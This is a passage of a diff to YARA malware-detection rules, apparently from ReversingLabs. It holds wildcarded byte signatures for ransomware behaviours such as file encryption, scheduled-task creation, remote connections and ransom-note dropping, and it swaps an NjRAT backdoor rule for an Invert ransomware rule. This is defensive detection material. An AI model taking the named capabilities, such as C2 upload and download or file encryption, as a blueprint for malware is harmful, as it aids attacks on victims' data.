?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 + C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8D 8D } - $get_os_information_p1 = { - 48 8B C4 55 41 54 41 56 48 8D A8 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 C7 44 24 ?? ?? - ?? ?? ?? 48 89 58 ?? 48 89 70 ?? 48 89 78 ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 - ?? ?? ?? ?? 48 8B F1 33 D2 41 B8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 8D 7E ?? 48 8B CF E8 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 45 33 E4 44 89 64 24 ?? 48 8D 54 24 ?? 33 C9 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? - E8 ?? ?? ?? ?? 48 8B D8 44 8B 44 24 ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 48 8D 54 24 ?? - 48 8B CB FF 15 ?? ?? ?? ?? 41 BE ?? ?? ?? ?? 45 8B C6 33 D2 48 8D 4D ?? E8 ?? ?? ?? - ?? 44 89 74 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? FF 15 ?? ?? ?? ?? 4C 8D 4D ?? 4C 8B C3 - 48 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 8D 74 24 ?? 4C 89 74 24 - ?? 4C 89 64 24 ?? 44 88 64 24 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? - 90 4C 89 74 24 ?? 4C 89 64 24 ?? 44 88 64 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? - E8 ?? ?? ?? ?? 90 4C 8D 44 24 ?? 48 8D 54 24 ?? 48 8B CF E8 ?? ?? ?? ?? 90 45 33 C0 - B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 45 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? - 41 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B D8 33 C0 48 89 03 48 89 43 ?? 48 8D 0D ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 11 8B 0A FF 15 ?? ?? ?? ?? 48 8B D0 45 8D 44 + $find_files_v1_p2 = { + 8B 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 56 8B D0 C6 45 ?? ?? 8D 4D ?? E8 + ?? ?? ?? ?? 59 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 75 ?? 68 ?? ?? ?? + ?? 0F 43 75 ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 56 50 89 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B B5 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? ?? 75 ?? 56 8D 4D ?? E8 ?? ?? ?? + ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 56 E8 + ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 59 74 ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 7D ?? ?? 8D 75 ?? 68 ?? ?? ?? ?? 0F 43 75 ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? + ?? 56 50 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 + B8 ?? ?? ?? ?? C3 C7 45 ?? ?? ?? ?? ?? 33 DB 8B 85 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F + 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 8D } - $get_os_information_p2 = { - 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 4C 89 74 24 ?? 4C 89 64 24 ?? 44 88 64 24 ?? 48 8B - D3 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 4C 89 74 24 ?? 4C 89 64 24 ?? 44 88 64 24 ?? 48 - 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 4C 8D 44 24 ?? 48 8D 54 24 ?? 48 - 8B CF E8 ?? ?? ?? ?? 90 45 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 45 33 C0 B2 - ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 45 33 C0 48 8D 54 24 ?? 48 8B CE E8 ?? ?? ?? ?? 45 - 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B CE E8 ?? ?? ?? ?? 48 8B CE E8 ?? ?? - ?? ?? 48 8D 54 24 ?? 48 8B CE E8 ?? ?? ?? ?? 45 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? - ?? ?? 48 8D 54 24 ?? 48 8B CF E8 ?? ?? ?? ?? 90 48 83 78 ?? ?? 72 ?? 48 8B 00 4C 8B - C0 48 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 45 33 C0 B2 ?? 48 8D - 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 83 C9 ?? 49 FF C1 46 38 24 08 75 ?? - 44 89 64 24 ?? 4C 89 64 24 ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B - 73 ?? 49 8B 7B ?? 49 8B E3 41 5E 41 5C 5D C3 + $create_scheduled_task_v1 = { + FF 15 ?? ?? ?? ?? 33 FF 85 C0 74 ?? 8B CF 8A 84 0D ?? ?? ?? ?? 88 84 0D ?? ?? ?? ?? + 41 84 C0 75 ?? 8D BD ?? ?? ?? ?? 4F 8A 47 ?? 47 84 C0 75 ?? BE ?? ?? ?? ?? A5 A5 66 + A5 33 FF 57 68 ?? ?? ?? ?? 6A ?? 57 57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 8B 4B ?? 8B F0 89 BD ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8D 85 ?? + ?? ?? ?? 2B CA 50 51 FF 73 ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 C4 ?? 8B + F2 8A 02 42 84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1 + E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 8A 41 ?? 41 84 C0 75 ?? 66 A1 + ?? ?? ?? ?? 33 DB 8B 35 ?? ?? ?? ?? BF ?? ?? ?? ?? 66 89 01 A0 ?? ?? ?? ?? 53 53 88 + 41 ?? 8D 85 ?? ?? ?? ?? 50 57 53 53 FF D6 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 53 68 + ?? ?? ?? ?? 57 53 53 FF D6 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $remote_connection_v1 = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 8B + 5D ?? 8D 44 24 ?? 56 57 8B 7D ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A + ?? 6A ?? 6A ?? 58 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 6A ?? 58 53 66 89 44 24 + ?? FF 15 ?? ?? ?? ?? FF 75 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 66 89 44 24 ?? 8D 44 24 + ?? 6A ?? 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B CF 8D 51 ?? 8A 01 41 84 C0 75 ?? + 6A ?? 2B CA 51 57 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 33 C0 8B 8C 24 ?? ?? ?? ?? 5F 5E 5B 33 CC E8 ?? ?? ?? ?? 8B E5 5D C2 + } + $check_mutex_v1 = { + E8 ?? ?? ?? ?? 59 59 56 C6 45 ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 50 FF B5 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? 8B 57 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 59 FF 77 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 50 56 FF D3 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? + 56 FF 15 ?? ?? ?? ?? 8B F8 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 94 C0 85 FF 74 ?? 84 + C0 74 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 56 + } + $find_files_v2 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 83 EC ?? 53 + 56 57 89 65 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 + ?? ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D + ?? 54 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? + ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? + 3B 45 ?? 0F 87 ?? ?? ?? ?? 83 EC ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? + 51 50 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B F0 8D 45 ?? 3B C6 74 ?? 8B 45 ?? 83 F8 + ?? 72 ?? 6A ?? 40 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 56 + 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B + 7D ?? 33 F6 8B 5D ?? 83 FE ?? 73 ?? 8B 0C B5 ?? ?? ?? ?? 8D 45 ?? 83 FF ?? 0F 43 C3 + 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 + ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 74 ?? 46 EB ?? 8D 4D ?? E8 ?? ?? + ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C2 ?? ?? 8D 4D ?? E8 ?? + ?? ?? ?? 8B 4D ?? 32 C0 5F 5E 64 89 0D ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 8D 45 + } + $encrypt_files_v2_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 51 B8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 53 56 57 C7 45 ?? ?? ?? ?? ?? 8B F1 8B 7D ?? 8D 4D ?? 89 65 ?? + 57 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 8B CE 50 E8 + ?? ?? ?? ?? 8B D8 C6 45 ?? ?? 8D 4D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 75 ?? 56 E8 ?? ?? + ?? ?? 83 C4 ?? 56 53 50 E8 ?? ?? ?? ?? 8B 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 + 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? 49 0F 1F 40 ?? 8A 41 ?? 8D 49 ?? 84 C0 + 75 ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 08 89 ?? ?? ?? ?? 4E 00 6A ?? 6A ?? 89 41 ?? + A1 ?? ?? ?? ?? ?? ?? ?? ?? 08 A0 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 88 + 41 ?? FF D6 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 50 FF D6 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 45 ?? 8D 45 ?? 6A ?? 50 FF 15 ?? ?? + ?? ?? 8B 35 ?? ?? ?? ?? 85 C0 75 ?? FF D6 8B 1D ?? ?? ?? ?? 6A ?? FF 75 ?? FF D3 EB + ?? 8B 1D ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? + ?? 85 C0 75 ?? FF D6 6A ?? FF 75 ?? FF D3 6A ?? 6A ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? + 85 C0 75 ?? FF D6 8D 45 ?? 50 6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? + ?? 85 C0 75 ?? FF D6 6A ?? FF 75 ?? FF D3 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 + } + $encrypt_files_v2_p2 = { + E8 ?? ?? ?? ?? 8B 7D ?? 83 C4 ?? 33 F6 C7 45 ?? ?? ?? ?? ?? 33 DB 89 5D ?? 56 57 FF + 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 4D ?? 66 8B 0D ?? ?? 4E 00 66 89 4D ?? 8D 4D ?? + 89 45 ?? 8D 51 ?? 89 5D ?? 8A 01 41 84 C0 75 ?? 6A ?? 8D 45 ?? 2B CA 50 51 8D 45 ?? + 50 FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? FF + 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? + ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 03 + F0 33 C9 3B 75 ?? 75 ?? 85 C9 75 ?? 33 DB 83 F8 ?? 0F 95 C3 68 ?? ?? ?? ?? 8D 45 ?? + 50 8D 85 ?? ?? ?? ?? 50 6A ?? 53 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? + 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? FF 15 ?? ?? + ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 8D 45 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F + 85 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? + FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 57 FF D6 FF 75 ?? FF D6 8B 4D ?? 5F 5E 64 89 0D + ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 8D 45 + } + $remote_connection_v2 = { + 55 8B EC 51 53 56 57 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 + FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 6A ?? + 53 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B F8 6A ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? + 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 53 FF D6 57 FF D6 5F 5E + 33 C0 5B 8B E5 5D C3 + } + $drop_ransom_note_v2_p1 = { + 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 89 45 ?? + C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 85 C0 74 ?? C7 00 ?? ?? ?? ?? C7 + 40 ?? ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 89 08 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 68 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 87 FB 00 00 00 A0 ?? ?? + ?? ?? 88 87 ?? ?? ?? ?? 8B F7 8D 4E ?? 0F 1F 40 ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46 + ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ?? 6A ?? 8D 04 + 33 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 0F 1F 44 00 ?? 8A 06 46 + 84 C0 75 ?? 2B F1 8D 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 + 53 57 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 8B F7 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B + D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 04 33 68 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50 + } + $drop_ransom_note_v2_p2 = { + E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 53 57 E8 ?? ?? ?? ?? 6A ?? 8D 04 37 68 + ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 8D 4E ?? 0F 1F 00 8A 06 46 84 C0 75 ?? + 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? ?? ?? ?? + F3 0F 7E 05 ?? ?? ?? ?? 83 C4 ?? 66 0F D6 04 33 8B F3 8D 4E ?? 8A 06 46 84 C0 75 ?? + 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 56 53 57 E8 ?? ?? ?? ?? + 6A ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 8D 4E ?? 8A 06 46 84 + C0 75 ?? 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 ?? 56 57 53 E8 ?? + ?? ?? ?? 6A ?? 8D 04 33 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F3 8D 4E ?? 66 + 90 8A 06 46 84 C0 75 ?? 2B F1 8D 46 ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? + 56 53 57 E8 ?? ?? ?? ?? 6A ?? 8D 04 37 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B + CF 5B 8D 51 ?? 0F 1F 40 ?? 8A 01 41 84 C0 75 ?? 8B 75 ?? 8D 45 ?? 6A ?? 50 2B CA 51 + 57 56 FF 15 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 5E 64 89 0D ?? ?? ?? ?? 8B E5 5D C2 } condition: - uint16( 0 ) == 0x5A4D and ( $download_file_from_c2 ) and ( $upload_file_to_c2 ) and ( all of ( $get_logical_drive_data_p* ) ) and ( all of ( $get_os_information_p* ) ) + uint16( 0 ) == 0x5A4D and ( ( ( all of ( $encrypt_files_v1_p* ) ) and ( all of ( $find_files_v1_p* ) ) and ( $create_scheduled_task_v1 ) and ( $remote_connection_v1 ) and ( $check_mutex_v1 ) ) or ( ( $find_files_v2 ) and ( all of ( $encrypt_files_v2_p* ) ) and ( $remote_connection_v2 ) and ( all of ( $drop_ransom_note_v2_p* ) ) ) ) } -rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Njrat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Invert : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects NjRAT backdoor." + description = "Yara rule that detects Invert ransomware." author = "ReversingLabs" - id = "578c813f-4bba-52cd-bcc7-4de2c3943cf7" - date = "2024-07-31" - modified = "2024-07-31" + id = "7ef77946-a902-5dc6-9b3c-b7b6a687eb96" + date = "2021-11-11" + modified = "2021-11-11" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.NjRAT.yara#L1-L266" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Invert.yara#L1-L66" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "eeecf90965e6952d8b9efc9d1e96eaa47709b1d69fc7d435f4aebaaf0191f317" + logic_hash = "1608b8bbfc03b18a79752e60f211da7d7703862bc06b2ddf094074ae5efd0d14" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "NjRAT" + tc_detection_type = "Ransomware" + tc_detection_name = "Invert" tc_detection_factor = 5 importance = 25 strings: - $persistence_mechanism_v1_p1 = { - 00 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? - ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? - ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 16 2B ?? 17 13 ?? 11 ?? 39 ?? ?? ?? ?? - 00 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? - 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 7E ?? ?? ?? ?? 28 ?? - ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? - ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? - ?? ?? ?? 17 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? - ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 0A - 00 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 00 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 - 72 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 00 11 ?? 18 72 ?? ?? - ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 00 11 ?? 1A 72 ?? ?? ?? ?? A2 - 00 11 ?? 28 ?? ?? ?? ?? 16 16 15 28 ?? ?? ?? ?? 26 DE ?? 25 28 ?? ?? ?? ?? 0B 00 28 - ?? ?? ?? ?? DE ?? 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F - ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? - ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 - DE ?? 25 28 ?? ?? ?? ?? 0C 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? - ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E - ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DE ?? 25 - } - $persistence_mechanism_v1_p2 = { - 28 ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 - 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 1D 28 ?? ?? ?? ?? - 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 00 1D - 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 19 73 ?? - ?? ?? ?? 80 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 - 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 16 - 15 28 ?? ?? ?? ?? 26 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 18 28 ?? - 